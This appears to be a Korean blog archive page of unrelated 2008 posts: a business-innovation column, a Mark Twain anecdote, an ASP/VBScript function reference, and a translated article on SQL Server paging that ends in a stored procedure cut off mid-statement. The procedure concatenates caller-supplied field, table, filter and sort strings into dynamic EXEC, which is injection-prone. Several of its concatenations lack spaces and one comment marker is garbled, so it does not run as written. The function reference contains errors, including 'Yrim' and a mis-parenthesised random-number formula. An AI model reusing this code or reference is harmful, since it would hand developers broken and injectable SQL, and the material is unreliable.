우리 회사는 2006년 초부터 Innovation 활동을 계속해 왔으며, 조직을 노키아 같이 영업부서와 지원부서를 수직, 수평으로 엮은 매트릭스 조직으로 개편 운영하고 있다. 그리고 새로운 평가시스템을 도입하였으며, 매일 아침마다 임원들이 모여 회사 이슈를 서로 부담 없이 이야기하고 향후 사업방향에 대해 의견을 제시하고 결정도 하는 CGO미팅도 계속하고 있다. 또한 각 부서도 자기 영역에서 기반을 닦아가며 성장하고 있다.

 

그러나 과거 보다는 많이 나아졌지만 아직도 스스럼없이 각자의 의견과 아이디어를 터놓고 토론하는 모습이 부족하다. 특히 부서장들의 공동체 의식은 앞서 예를 든 뉴딜에 성공한 기업에 비하면 턱없이 부족하다고 본다. 우리의 앞날을 방해하는 적은 우리의 경쟁자가 아니고 우리 스스로인 것을 알고 우리 자신의 마음을 다스리는 지혜가 필요하다. 우리가 뉴딜에 성공하기 위해서는 겉모습만이 아닌 내적인 변혁이 우리에게는 필요하고 이러한 마인드가 우리의 기업문화로 자리잡아야 한다.

- 조선일보 토일섹션 Weekly BIZ 제26891호에서 -

2008/03/05 14:31 2008/03/05 14:31

어떤 자선 모임에 초대 받아 강연을 하게 된 작가가 있었습니다.

강연의 내용은 좋았지만 예정했던 것보다 시간이 상당히 길어졌습니다.

강연이 끝나고 손님들과 인사를 나누는 작가에게 그의 친구가 다가왔습니다.

작가는 자신의 강연이 어땠냐고 물었습니다.

그러자 친구가 말했습니다.

“강연은 훌륭했지만 자네는 중간에 아주 좋은 기회를 몇 번 놓친 것 같더군.”

작가가 물었습니다.

“어떤 기회 말인가?”

친구가 답했습니다.

“강연을 끝낼 기회 말일세.”

 

마크 트웨인(Mark Twain)과 그의 친구의 이야기입니다.

어떤 경우에도 말을 잘하는 것은 매우 중요하지요.

하지만 그에 못지않게 끝내야 할 때를 아는 것도 중요합니다.

그런데 주위를 둘러보면 말 잘하는 사람은 꽤 보여도

언제 그쳐야 하는지 아는 사람은 별로 보이지 않습니다.

 

말을 잘하는 방법은 입을 다물 때를 아는 것이다.

The great art in conversation is

to know when to stop.(Josh Billings:미국의 작가,철학자)

- 막시무스의 지구에서 인간으로 유쾌하게 사는 법에서 -

2008/03/05 14:29 2008/03/05 14:29
1. 대소문자의 구분

  asp 에서는 다른 언어와는 달리 대소문자의 구분이 없다. 그냥 단지 알아보기 쉽게 하기 위해서 대소문자를 사용하는 것이다.

  예) dim strname 는 Dim strName 과 같은 구문이다.


2. 변수 선언

- 변수나 배열의 변수 선언에는 dim 을 사용한다.

- Option Explicit 를 asp 맨 앞에 사용하여 변수를 꼭 선언하도록 하였으면 모든 변수는

   dim 으로 선언하여 사용하여야한다.

예) 변수 선언 : dim strName, strEmail

     배열 선언 : dim monthArry(11)

- Redim : 배열 크기의 재선언에 사용한다.

           redim 의 사용은 처음 배열 선언시에 배열의 크기를 정해 주지 않았을 때에만 가능하다.

- Preserve : 데이터를 저장한 채로 배열의 크기를 늘려준다. 즉, 기존의 들어가 있는 데이터는 그대로 아직 존재한다.




3. 구분자
- 구분자로는 :(콜론) 이 쓰인다.
- 구분자는 실행할 문장을 한줄단위로 구분짓는 역할을 한다.
예) dim strName : strName = "mshout77" : response.write "
strName = " & strName





4. 연결연산자
- &
- &가 문자열에 쓰이면 문장과 문장을 연결해서 한 문장으로 만들어준다.
- &가 변수에 쓰이면 변수의 값을 & 다음의 값과 이어준다.
- 예) dim strName, strFName, all

       strName = "77"

       strFName = "mshout"

       all = strName&strFName

      

       response.write all

       결과값은 mshout77 이라고 출력된다.





5. 주석
- ASP에서 주석처리에는 '(작은 따옴표) 가 쓰인다.
- 행에서 ' 다음의 내용은 주석처리되어 해석이 되지 않는다.




6. 함수
1) cdbl(문자열) - 문자열을 소수점이하까지도 출력(큰 숫자에 사용한다)


2) round(숫자,반올림할 위치) - 지정한 소수점 자리에서 반올림한 값을 리턴


3) asc(문자열) - 문자열에서 첫번째 문자에 대한 ansi 코드 번호를 리턴


4) chr(아스키코드번호) - 지정된 번호와 일치하는 ansi 문자로 구성된 문자열을 리턴


5) hex(숫자) - 숫자의 16진수값을 나탸내는 문자열을 리턴


6) fix(숫자) - 숫자의 정수(전체)부분을 리턴 / 음수일때 숫자보다 크거나 같은 첫번째 음의 정수 리턴


7) int(숫자) - 숫자의 정수(전체)부분을 리턴 / 음수일때 숫자보다 작거나 같은 첫번째 음의 정수 리턴


8) sgn(숫자) - 숫자의 부호를 나타내는 정수를 리턴


9) cdate(숫자) - 날짜 형식의 인자값 리턴( 예:cdate(36890) , cdate("2001년 12월 10일") )


10) Clng(숫자) - Long 형식의 문자열 리턴


11) Cstr(숫자) - String 형식의 문자열 리턴


12) Csng(숫자) - Single 형식의 문자열 리턴


13) formatcurrency(숫자) - 숫자를 화폐형식으로 전환


14) formatdatetime(date,1) - date 함수의 표시형태를 바꿈
     - formatdatetime(date,2)
     - formatdatetime(date,3)


15) formatpercent(숫자) - 숫자를 백분율로 표시


16) strConv - 지정한대로 문자를 변환, strConv(문자열,conversion [,LCID])
    conversion 에 가능한 값
     - vbUpperCase 1 문자열을 대문자로 변환
     - vbLowerCase 2 문자열을 소문자로 변환
     - vbPropercase 3 문자열 단어의 첫글자를 대문자로 변환
     - vbWide 4 1바이트문자를 2바이트 문자로 변환
     - vbNarrow 5 2바이트문자를 1바이트문자로 변환
     - vbUnicode 6 시스템의 기본 코드 페이지를 사용하여 문자열을 unicode 로 변환
     - vbFromUnicode 128 unicode 문자열을 시스템의 기본 코드 페이지로 변환


17) Randomize - 난수 발생기를 초기화
    - 난수값 = Int((상한값 - 하한값) + 1) * Rnd + 하한값
    - 예로 1부터 100사이의 난수를 가져오려면, 난수값 = Int(100 - 1 + 1) * Rnd + 1


18) Atn() - 숫자의 아크 탄젠트 값을 리턴


19) Cos() - 각도의 코사인값을 리턴


20) Exp() - e(자연 로그의 밑)의 인자만큼의 제곱을 리턴


21) Log() - 숫자의 자연로그를 리턴


22) Sin() - 각도의 사인값을 리턴


23) Tan() - 각도의 탄젠트값을 리턴

24) InStr("문자열","찾을 문자") - 문자열의 위치 반환


25) InStrRev("문자열","찾을 문자") - 문자열의 위치를 뒤에서 부터 검색해서 반환


26) Lcase("문자열") - 문자열을 소문자로


27) Ucase("문자열") - 문자열을 대문자로

28) Len("문자열") -문자열의 길이 반환

29) Left("문자열",잘라낼 갯수) - 문자열을 왼쪽에서 지정한 갯수만큼 잘라냄


30) Right("문자열",잘라낼 갯수) - 문자열을 오른쪽에서 지정한 갯수만큼 잘라냄

31) Mid("문자열",시작위치,뽑아낼 갯수) - 문자열의 어느 부위를 뽑아냄


32) Yrim("문자열") - 문자열의 양쪽 공백을 제거


33) Ltrim("문자열") - 문자열의 왼쪽 공백을 제거


34) Rtrim("문자열") - 문자열의 오른쪽 공백을 제거

35) Split("문자열","분리자") - 분리자를 기준으로 문자열을 나눔

36) StrReverse("문자열") - 문자열을 뒤집음

37) IsArray() - 변수가 배열인지의 여부를 나타내는 Boolean 값을 리턴


38) IsDate() - 날짜로 변환될 수 있는지의 여부를 나타내는 Boolean 값을 리턴


39) IsEmpty() - 변수가 초기화 될 수 있는지의 여부를 나타내는 Boolean 값을 리턴


40) IsNull() - 유효한 데이터를 포함하고 있는지의 여부를 리턴


41) IsNumeric() - 숫자로 평가될 수 있는지의 여부를 리턴


42) IsObject() - 유효한 ActiveX혹은 OLE 자동화 개체를 참조하는지의 여부를 리턴


43) Vartype() - 변수의 하위 형식을 나타내는 숫자를 리턴한다.


44) now - 시스템의 시간과 날짜


45) date - 시스템의 날짜


46) time - 시스템의 시간


47) year(now) - 현재의 년도


48) month(now) - 현재의 월



49) day(now) - 현재의 일


50) weekday(now) - 현재의 요일



51) hour(now) - 현재의 시


52) minute(now) - 현재의 분


53) second(now) - 현재의 초


54) DateAdd - 지정된 날짜에 시간을 추가하거나 뺀 새로운 날짜를 반환
   사용법) DateAdd(interval, number, date)
           - interval : 필수적인 인수로 interval을 추가한 날짜를 나타내는 문자식

                     yyyy 년, q 분기, m 월, y 일(일년 기준), d 일, w 요일, ww 주(일년 기준), h 시, n 분, s 초


           - number : 필수적인 인수로 추가할 간격 수의 수식
                     수식에서 양수는 미래의 날짜, 음수는 과거의 날짜이다.


           - date : 필수적인 인수로 interval을 추가한 날짜를 나타내는 Variant 또는 리터럴


   예) DateAdd("m",3,Date)  <-- 현재의 날짜에서 3개월을 더함
       DateAdd("m",-3,Date)  <-- 현재의 날짜에서 3개월을 뺌


55) DateDiff - 주어지는 두 날짜의 간격을 반환
   사용법) DateDiff(interval, date1, date2 [,firstdayofweek[, firstweekofyear]])
           - interval : 필수적인 인수로 날짜1과 날짜2 사이의 차이를 계산하는 데 사용할 interval의 문자식

                     yyyy 년, q 분기, m 월, y 일(일년 기준), d 일, w 요일, ww 주(일년 기준), h 시, n 분, s 초                


           - date1, date2 : 필수적인 인수로 날짜식에서 계산에 사용할 두 날짜


           - firstdayofweek : 선택적인 인수로 요일을 지정하는 상수로 지정하지 않으면 일요일로 간주

                            vbUseSystem 0 NLS(National Language Support) API 설정 사용
                            vbSunday 1 일요일(기본값)
                            vbMonday 2 월요일
                            vbTuesday 3 화요일
                            vbWednesday 4 수요일
                            vbThursday 5 목요일
                            vbFriday 6 금요일
                            vbSaturday 7 토요일

           - firstweekofyear : 선택적인 인수로 연도를 기준으로 한 첫째 주를 지정하는 상수
                            지정하지 않으면 1월 1일을 포함하는 주를 첫째 주로 간주한다.
                            vbUseSystem 0 NLS(National Language Support) API 설정 사용
                            vbFirstJan1 1 1월 1일을 포함하는 주에서 시작(기본값)
                            vbFirstFourDays 2 새해의 처음 4일을 포함하는 주에서 시작
                            vbFirstFullWeek 3 새해의 처음 한 주일(7일)을 포함하는 주에서 시작
  

   예) DateDiff("h", "2001년 12월 30일", Date)
       DateDiff("n", "2001년 12월 30일 09:30:00", now)
       DateDiff("s", "2001년 12월 30일 09:30:00", now)

56) DatePart - 주어진 날짜의 지정된 부분을 반환한다.
   사용법) DatePart(interval, date[, firstdayofweek[, firstweekofyear]])
           - interval : 필수적인 인수로 반환할 시간 간격의 문자식이다.

                     yyyy 년, q 분기, m 월, y 일(일년 기준), d 일, w 요일, ww 주(일년 기준), h 시, n 분, s 초


           - date : 필수적인 인수로 계산할 날짜식



           - firstdayof week : 선택적인 인수로 요일을 지정하는 상수로서 지정하지 않으면 일요일로 간주

                            vbUseSystem 0 NLS(National Language Support) API 설정 사용
                            vbSunday 1 일요일(기본값)
                            vbMonday 2 월요일
                            vbTuesday 3 화요일
                            vbWednesday 4 수요일
                            vbThursday 5 목요일
                            vbFriday 6 금요일
                            vbSaturday 7 토요일


           - firstweekofyear : 선택적인 인수로 연도를 기준으로 한 첫째 주를 지정하는 상수
                            지정하지 않으면 1월 1일을 포함하는 주를 첫째 주로 간주한다.
                            vbUseSystem 0 NLS(National Language Support) API 설정 사용
                            vbFirstJan1 1 1월 1일을 포함하는 주에서 시작(기본값)
                            vbFirstFourDays 2 새해의 처음 4일을 포함하는 주에서 시작
                            vbFirstFullWeek 3 새해의 처음 한 주일(7일)을 포함하는 주에서 시작

   예) DatePart("q", now)

57) DateSerial - 지정된 년, 월, 일의 Date 하위 형식인 Variant를 반환한다.
               즉, 임의의 숫자를 입력받아 날짜 형식으로 반환하는 함수이다.
   사용법) DateSerial(year, month, day)
           year : 100에서 9999까지의 수 또는 수식
           month : 모든 수식
           day : 모든 수식
   예) DateSerial(2001, 12, 25)

58) DateValue - Date 하위 형식의 Variant를 반환한다.
   사용법) DateValue(date)

   예) DateValue("2000년 12월 25일")

출처 : Tong - cookjava님의 셈틀 통통

2008/02/21 16:30 2008/02/21 16:30

조금 어려운 면도 있지만 아주 유용한 자료입니다. 플랫폼이 NT 기반이면 다 적용가능한데..

걍 ASP팁란에 올리겠습니다.


출처는 아래 밝혔습니다.


SQL Server에서 사용할 수 있는 서버측 페이징기법

Andrew Rosca

웹 애플리케이션은 일반적으로 사용자에게 많은 양의 정보를 제공하기 위해 페이징 기법을 사용한다.
예를 들어 인터넷 검색엔진은 사용자의 쿼리 결과로 대용량의 결과값을 반환한다.
이 때 검색엔진이 한번에 결과값 전체를 반환하게 되면 결과값을 받는 클라이언트측 시스템에 과부하가 발생
할 수 있다.
하지만 페이징 기법을 사용하게 되면, 반환되는 결과값을 클라이언트측과 서버측 양쪽에서 관리할 수 있을 만
큼의 고정된 크기의 블록으로 구분하여 한 번에 이동시키는 정보의 양을 줄일 수 있다. 애플리케이션에서는
한 번 에 소수의 레코드만 사용자에게 보내게 되며, 결과값 중에서 사용자가 필요로 하는 정보만 반환하게 된
다.

페이징 기법을 사용하면 데이터를 사용자가 좀 더 이해하고 표현하기 쉽게 해 줄 뿐만 아니라, 대량의 정보를
조회하고 표현하기 위해서 시스템에 불필요한 과부하가 발생하여 결국 시스템의 성능에 악영향을 미치지 않
도록 통제하기 때문에 전체적인 시스템 성능을 향상시키게 된다.
정상적으로 시스템에 반환된 결과값 레코드가 페이징되었다면, 검색엔진을 사용하는 사용자는 대부분 맨 처
음 한 페이지 또는 일부 페이지만 조회하게 될 것이다.

불행하게도 많은 프로그래머들이 페이징 관련해서 성능측면에서 매우 중요한 고려사항에 대해서 잘 모르고
있다.
IIS와 SQL Server를 사용하는 환경에서는,
AbsolutePage, PageSize, PageCount와 같은,
표준 ADO RecordSet 페이징 기능을 사용하는 것이 가장 일반적인 페이징 기법이다.
소량(수십 또는 수백 레코드 정도)의 데이터에 대해서는 이러한 기능을 사용하면 정상적으로 동작하고, 시스
템의 성능측면에서도 부하를 발생시키지 않는다. 하지만 레코드 수가 증가하게 되면, 이러한 기능을 사용하
게 되면 효율성이 감소하게 되고 전체적인 애플리케이션의 성능에 악영향을 미치게 된다.

대량의 발주정보를 조회해야 하는 구매조달관련 애플리케이션, 수 천명의 회원이 동시에 접속하는 미팅 웹사
이트, 고객의 검색조건에 따라 수백 개의 상품의 정보를 표시해야 하는 대규모 전자상거래 웹사이트와 같이,
대용량 데이터를 처리해야 하는 애플리케이션의 경우에는 좀 더 개선된 서버측 페이징 기술이 필요하게 된
다. 이번 호의 기사에서는 수백만 개의 행정보를 포함하는 테이블에서도 사용할 수 있는 페이징 기법에 대해
서 소개하고자 한다.


ADO RecordSet 페이징 기법의 한계


대용량의 레코드를 페이징하기 위해서 ADO RecordSet의 페이징기법을 사용할 때 발생하는 문제의 원인은
ADO에서 데이터를 처리하는 방법 때문이다.
ADO 기술구조에서는 데이터베이스에서 정보를 조회하기 위해 서 조회의 대상이 되는 데이터에 대한 포인터
를 관리해야 할 필요가 있다.
데이터에 대한 포인터를 커서 라고 하며, 클라이언트측(예를 들어 ASP 페이지)에서는 각 레코드를 건별로 조
회하게 된다.

ADO RecordSet 개체는 서버측 커서(기본값)와 클라이언트측 커서 유형을 지원한다.
서버측 커서를 사용하게 되면 모든 데이터는 그대로 SQL Server에 두고, 해당 데이터가 필요한 시점에 순서
에 따라 각 레코드를 조회하게 된다.
클라이언트측 커서를 사용하게 되면 필요한 모든 데이터를 클라이인트로 전송한 다음, 클라이언트측 커서를
사용하여 클라이언트측 버퍼 메모리에 있는 데이터를 레코드별로 조회하게 된다.
검색엔진 예제에서처럼 쿼리의 결과값 중에서 일부분만을 표시하거나 사용해야 하는 경우라면 SQL 서버가
클라이언트에서 요청하는 페이지만 전송하고 전체 결과값 중 나머지 레코드는 데이터베이스 서버에 그대로
남겨두게 되는, 서버측 커서를 사용하는 것이 효율적이다.
서버측 커서를 사용하게 되면 클라이언트로 전송되는 레코드 수가 특정 페이지를 구성하는 20~30 레코드 정
도로 제한된다는 것이다.

PageCount 와 같은 일부 레코드셋 페이징 기능을 사용하기 위해서는 클라이언트측 커서를 사용해야 한다.
클라이언트 커서를 사용할 수 있도록 ADO를 설정하기 위해서는 RecordSet의 ClientLocation 속성을
adUseServer에서 adUseClient로 변경해 주면 된다.
[리스트 1]의 VB 코드는 RecordSet 개체에서 클라이언트측 커서와 서버측 커서를 사용하는 방법에 대한 예제
가 나타나 있다. ClientLocation 속성을 asUseClient 로 변경하게 되면, 사용자 쿼리의 결과로 반환되는 데이터
에서 필요로 하는 페이지 수를 판단하기 위해 결과값 전체가 클라이언트로 전송된다.

예를 들어 데이터베이스로부터 5000 레코드를 반환하는 쿼리를 실행했다고 가정하자.
애플리케이션에서 서버측 커서를 사용하게 되면 반환되는 레코드를 한 페이지당 20 레코드씩으로 페이징하
고, 사용자가 1 페이지만 보고 있는 경우라면 애플리케이션에서는 클라이언트로 맨 처음 페이지를 구성하는
20 레코드만을 전송하면 된다.
그 다음 사용자가 두번째 페이지로 이동하면 애플리케이션에서는 21~40번 레코드만 클라이언트로 전송하게
된다. 반면에 클라이언트측 커서를 사용하게 되면 ADO에서는 비록 사용자가 단지 첫 페이지에 해당하는 20
레코드만 필요한 경우라도 5000 레코드 전체를 클라이언트로 전송하게 된다.
이렇게 전체 레코드를 전송하게 되면 결과값이 사용자에게 나타나는 시간이 지연되게 되고, 반환되는 레코드
수가 매우 많은 경우에는 성능에 심각한 악영향을 미칠 수 있다.

다른 페이징 기법

ADO RecordSet 페이징 기법과 관련한 문제가 애플리케이션의 성능에 영향을 미치게 되었기 때문에 필자는
수천 레코드를 페이징해야 하는 웹 애플리케이션에서 사용할 수 있는 다른 페이징 기법을 찾아 보았다.

SQL 서버의 인덱스를 활용하여 전체 결과집합 중에서 상위의 레코드를 선택하는 방법을 소개하고자 한다.

다음은 Northwind 데이터베이스의 Orders 테이블에서 상위 10개의 레코드를 선택하는 쿼리이다.

SELECT TOP 10 * FROM Orders

위의 구문을 활용하면 전체 결과집합에서 10 개의 레코드 단위로 결과값이 반환되게 할 수 있다.
주어진 페이지에 해당하는 레코드만 선택하기 위해서는, 한 페이지에 몇 개의 레코드를 포함시킬 것인지 결정
하고, 실제 사용자가 몇 번째 페이지의 정보를 조회하기를 원하는지에 대한 페이지 카운트를 알고 있어야 한
다.
예를 들어 한 페이지에 10 개의 레코드가 포함되고, 사용자가 전체 결과값 집합 중에서 3 페이지를 조회하고
자 하는 경우라면 다음과 같은 쿼리를 사용하면 된다.

SELECT TOP 10 * FROM Orders WHERE OrderID NOT IN (SELECT TOP 20 OrderID FROM Orders)

위의 쿼리는 맨 처음 20 개의 레코드 이후에 존재하는 10개의 레코드, 즉 21~30번까지의 레코드를 반환한다.
위의 쿼리를 절차코드로 일반화하게 되면 다음과 같이 표현할 수 있다.

SELECT TOP page_size * FROM Orders WHERE OrderID NOT IN (SELECT TOP (page_size * (current_page -
1)) OrderID FROM Orders)

위의 쿼리는 대량의 레코드를 반환하는 경우라도 잘 동작하지만, 반환할 페이지의 숫자가 많아질수록 전체적
인 성능은 감소하게 된다.
문제의 원인은 IN 연산자에 포함되는 쿼리의 결과값이 많아지면서 비효율성이 증가하기 때문이다. 예를 들어
한 페이지당 10개의 레코드를 반환하는 결과집합 중에서 500번째 페이지를 조회하기 위해 쿼리를 실행하게 되
면, IN 연산자의 대상이 되는 서브쿼리에는 다음과 같은 문장이 포함되게 된다.

(SELECT TOP 4990 OrderID FROM Orders)

마지막 10개의 레코드를 조회하기 위해 서버에서는 4990 개의 OrderID와 각 OrderID를 비교해야만 한다.
불필요한 비교작업이 많이 발생하게 된다.
물론 SQL Server의 경우에는 이러한 경우 데이터를 좀 더 빠르고 효율적인 방법으로 검색하기 위해서 인덱스
를 사용하여 빠르게 쿼리를 처리하게 된다.
(OrderID가 기본키로 설정되어 있기 때문에, SQL Server는 기본적으로 인덱스를 사용하게 된다.)
조회하고자 하는 페이지 수가 증가함에 따라 성능면에서 느려지게 된다고 하더라도 이러한 조회성능의 감소
현상은 조회하고자 하는 페이지 수가 매우 큰 경우에만 인식할 수 있게 된다.
이러한 점증적인 성능의 감소현상은 대부분의 경우 사용자가 맨 처음부분의 일부 페이지만 조회하게 되고,
맨 처음부분의 일부 페이지를 조회 할 경우에는 매우 빠른 성능을 보장할 수 있기 때문에 크게 중요한 관심의
대상이 되지 않는다.
애플리케이션이션에서 적절하게 데이터를 정렬하고 필터링한다면 사용자는 찾고자 하는 정보를 거의 한 두
페이지 이내에서 찾게 된다. 만약 맨 처음 부분의 페이지에서 필요로 하는 데이터를 찾지 못한 경우에는 대부
분의 사용자는 예제에서처럼 500 페이지까지 원하는 데이터를 찾고자 계속 다음 페이지를 찾아보는 것이 아
니라 다른 정렬 및 필터링 조건으로 새로운 쿼리를 하게 된다.

앞에서 언급한 것과 같이 검색작업을 수행할 때, 테이블의 기본키가 어떤 컬럼에 설정되었는지가 매우 중요
한 역할을 하게 된다.
기본키에는 각 레코드를 유일하게 식별할 수 있는 컬럼이 포함되어야 하며, 쿼리를 실행할 때 기본키를 기준
으로 해당 레코드를 쿼리의 결과값으로 선택할 것인지 무시할 것인지를 판단하게 된다.
앞의 일반화된 쿼리에는 정렬 및 기본키에 관련한 WHEHE 절이나 ORDER BY 절 내용이 누락되어 있다. 목록 2
에는 이러한 요소를 포함시킨 일반화된 쿼리가 나타나 있다.

정렬은 일반적으로는 비효율적인 작업이며, 쿼리의 성능을 저하시키는 원인이 되기도 한다.
SQL 서버의 경우, 인덱스가 설정된 컬럼에 대해서는 매우 효율적으로 정렬 및 필터링 작업을 할 수 있고,
SQL 서버가 항상 기본키 컬럼에는 인덱스를 생성하기 때문에 쿼리를 좀 더 최적화하여 빠르게 실행한다.
기본키에 설정된 인덱스를 최대한 활용하기 위해서, [리스트 3]과 같이 테이블의 전체 컬럼을 선택하지 않고,
먼저 기본키의 조건으로 대상이 되는 레코드를 검색한 다음에 결과값에 포함되어 있는 기본키값으로 다시 해
당 레코드에 대한 전체 컬럼을 찾아오게 할 수도 있다.
테이블에 기본키 인덱스가 설정되어 있고, 인덱스가 설정된 필드에 대해서만 정렬 및 필터링 작업을 하게 되
면, 조회하고자 하는 레코드를 찾기 위해 인덱스 페이지만을 사용하게 된다. 이렇게 쿼리의 결과값에 필요한
전체 필드가 인덱스에 포함되어 있는 경우를 커버된 인덱스라고 한다.
동일한 쿼리를 실행시킨 경우라도 해당 쿼리가 커버된 인덱스를 사용하는 경우가 일반 테이블에 대해서 쿼리
하는 경우보다 더 빠르게 된다. 맨 마지막으로 선택된 결과값에 해당하는 나머지 정보를 조회하기 위한 작업
을 수행할 때에는(즉, SELECT * 부분), 기본키 인덱스를 사용하여 SQL Server가 해당 인덱스를 바로 찾을 수
있기 때문에 매우 효율적으로 쿼리를 수행하게 된다.

[리스트3]에 나타나 있는 쿼리는 결과집합 중에서 특정 페이지를 매우 효율적이고, 단순한 방법으로 조회하
게 된다. 물론, GROUP BY나 HAVING 절을 추가하여 사용할 수도 있다.
쿼리를 좀 더 단순화하기 위해서 [리스트 4]와 같이 SELECT_WITH_PAGING 라는 저장 프로시저를 생성하여,
기능을 캡슐화하였다.

SELECT_WITH_PAGING 저장프로시저에는 fields_to_return (string), primary_key (string), table_name (string),
page_number (integer, default 1), page_size (integer), get_record_count (true/false), filter_conditions (string),
sort_columns (string), group_by (string)와 같은 매개변수(데이터형)가 입력되게 된다.

예를 들어 한 페이지당 레코드 수를 10개로 지정하고 Northwind 데이터베이스의 Order 테이블으로부터 주문일
자로 정렬하여 CustomerID, ShipName을 조회한 다음, 결과값 중 세번째 페이지를 조회하기 위해서는 다음 문
장을 실행하면 된다.

EXEC SELECT_WITH_PAGING 'CustomerID, ShipName', 'OrderID', 'Northwind.dbo.Orders', 3, 10,
1, '', 'OrderDate'

위의 쿼리를 실행하게 되면 입력된 조건에 따라 필터링되어 반환되는 전체 레코드 수가 두번째 레코드셋으로
반환된다. 전체 레코드 수는 사용자에게 전체 페이지 수를 표시하려고 할 때 유용하게 사용되며, 대부분의 경
우 사용자는 단순하게 이전페이지 또는 다음페이지로 표시되는 것보다는 전체 페이지 수 중에서 현재 조회하
고 있는 페이지의 번호를 표시하는 방법을 더 선호한다.
조건에 해당하는 전체 레코드 수를 조회하기 위해서 필자는 여섯번째 매개변수를 1로 설정하였다.
만약 여섯번째 매개변수를 설정하지 않으면 데이터베이스로부터 페이지당 레코드로 제한된 10개의 레코드만
을 반환하게 되기 때문에 전체 레코드 수가 몇 개인지는 알 수 없게 된다.

table_name 매개변수에는 두 개 또는 그 이상의 테이블에 대한 조인을 설정하는 문장이 올 수도 있고, 필요에
따라 서브쿼리도 올 수 있다.
예를 들어, 다음 두 문장은 table_name 매개변수에 모두 사용될 수 있다.

'Northwind.dbo.Orders A JOIN Northwind.dbo.Customers B ON A.CustomerID = B.CustomerID' '(SELECT *
FROM Northwind.dbo.Orders WHERE OrderDate > ''8/1/1996'') AS tbl'

이번 호의 기사에서 소개한 페이징 기법은 레코드의 수가 매우 많은 경우에 서버측 페이징을 처리하기 위해
매우 단순하고, 효율적으로 사용할 수 있으며, 필자의 경우에는 수백만 행이 포함되어 있는 테이블에 대해서
도 사용한 경험이 있다. 예를 들어 2천 5백만 레코드가 있는 테이블에 대해서 맨 처음 일부 페이지를 조회하
는 쿼리를 실행할 때, ADO RecordSet 페이징 기법을 사용했을 때에는 거의 40초가 걸렸으나 이번 호에 소개
한 저장프로시저를 사용한 경우에는 1초로 수행시간을 단축할 수 있었다.
이처럼 이번 호에 소개한 페이징 기법은 조회의 대상이 되는 데이터양이 많아서 ADO RecordSet 페이징 기법
을 사용하게 되면 성능상 문제가 발생할 수 있는 상황에서 유용한 대안으로 사용할 수 있다.


[리스트 1] ClientLocation 속성을 변경하는 코드
Dim objConn As ADODB.Connection
Dim objRS As ADODB.Recordset
' 연결 생성
Set objConn = New ADODB.Connection
objConn.Open "Driver=SQL Server; Server=localhost; Database=Northwind"
Set objRS = New ADODB.Recordset
   ' 클라이언트측 커서를 사용하게 하는 옵션
objRS.CursorLocation = adUseClient
   ' 서버측 커서를 사용하게 하는 옵션
   objRS.CursorLocation = adUseServer
objRS.Open "SELECT * FROM Orders", objConn, adOpenStatic,
adLockOptimistic
   ' 이 문장은 페이징을 위해서 필요하지만, 서버측 커서를 사용하는 경우에는 에러의 원인이 된다.
   Debug.Print "Total records: " & objRS.RecordCount

[리스트 2] 정렬을 위한 조건절을 지정한 일반화된 페이징 쿼리
SELECT TOP page_size * FROM table WHERE primary_key NOT IN
(SELECT TOP page_size * (page_number - 1) primary_key FROM table
WHERE filter_conditions
ORDER BY sort_field)
AND filter_criteria
ORDER BY sort_field



[리스트 3] 기본키에 검색조건을 먼저 설정하는 일반화 쿼리
SELECT * FROM table WHERE primary key IN
(SELECT TOP page_size primary_key FROM table
WHERE primary_key NOT IN

(SELECT TOP page_size * (page_number - 1) primary_key FROM table
WHERE filter_conditions ORDER BY sort_field) AND filter_criteria
ORDER BY sort_field)
ORDER BY sort_field


[리스트 4] SELECT_WITH_PAGING 저장 프로시저
CREATE PROCEDURE SELECT_WITH_PAGING (
@strFields varchar(4000),
@strPK varchar(100),
@strTables varchar(4000),
@intPageNo int = 1,
@intPageSize int = NULL,
@blnGetRecordCount bit = 0,
@strFilter varchar(8000) = NULL,
@strSort varchar(8000) = NULL,
@strGroup varchar(8000) = NULL)
/* 매개변수에 따라 반환되는 결과값을 특정 페이지로 정의하거나 전체 행을 모두 반환할 수 있도록 설정한
다. */
AS
DECLARE @blnBringAllRecords bit
DECLARE @strPageNo varchar(50)
DECLARE @strPageSize varchar(50)
DECLARE @strSkippedRows varchar(50)
DECLARE @strFilterCriteria varchar(8000)
DECLARE @strSimpleFilter varchar(8000)
DECLARE @strSortCriteria varchar(8000)
DECLARE @strGroupCriteria varchar(8000)
DECLARE @intRecordcount int
DECLARE @intPagecount int
/* 페이징 조건 정규화 의미있는 페이징 조건이 입력되지 않은 경우, 페이징하지 않고 좀 더 효율적인 방법으
로 쿼리를 실행시키기 위해 blnBringAllRecords 플래그를 사용 */
IF @intPageNo < 1
SET @intPageNo = 1
SET @strPageNo = CONVERT(varchar(50), @intPageNo)
IF @intPageSize IS NULL OR @intPageSize < 1 ?- 페이징하지 않고 전체 행을 반환
SET @blnBringAllRecords = 1
ELSE
BEGIN
SET @blnBringAllRecords = 0
SET @strPageSize = CONVERT(varchar(50), @intPageSize)
SET @strPageNo = CONVERT(varchar(50), @intPageNo)
SET @strSkippedRows = CONVERT(varchar(50), @intPageSize * (@intPageNo - 1))
END
/* 정렬 및 필터링 조건 정규화 정렬 및 필터링 조건이 지정되지 않으면, 필터링이나 정렬작업이 수행되지 않
도록 하여 쿼리의 성능을 향상시킴.*/
IF @strFilter IS NOT NULL AND @strFilter != ''
BEGIN
SET @strFilterCriteria = ' WHERE ' + @strFilter + ' '
SET @strSimpleFilter = ' AND ' + @strFilter + ' '
END
ELSE
BEGIN
SET @strSimpleFilter = ''
SET @strFilterCriteria = ''
END
IF @strSort IS NOT NULL AND @strSort != ''
SET @strSortCriteria = ' ORDER BY ' + @strSort + ' '
ELSE
SET @strSortCriteria = ''
IF @strGroup IS NOT NULL AND @strGroup != ''
SET @strGroupCriteria = 'GROUP BY' + @strGroup + ' '
ELSE
SET @strGroupCriteria = ''
/* 실제 조회작업을 시작 */
IF @blnBringAllRecords = 1 -- 페이징 하지 않고 단순한 SELECT 문장만을 실행
BEGIN

EXEC (
'SELECT ' + @strFields + 'FROM' + @strTables + @strFilterCriteria +
@strGroupCriteria + @strSortCriteria
)
END -- 전체 레코드를 반환.
ELSE -- 지정된 페이지를 반환
BEGIN
IF @intPageNo = 1 -- 맨 처음 페이지를 찾기 때문에 서브쿼리가 없어서 가장 효율적으로 실

행된다.
EXEC (
'SELECT TOP' + @strPageSize + ' ' + @strFields + 'FROM' + @strTables +
@strFilterCriteria + @strGroupCriteria + @strSortCriteria
)
ELSE -- 특정 페이지를 선택하기 위해 서브쿼리 구조를 실행한다.
EXEC (
'SELECT' + @strFields + 'FROM' + @strTables + 'WHERE' + @strPK + 'IN' + '
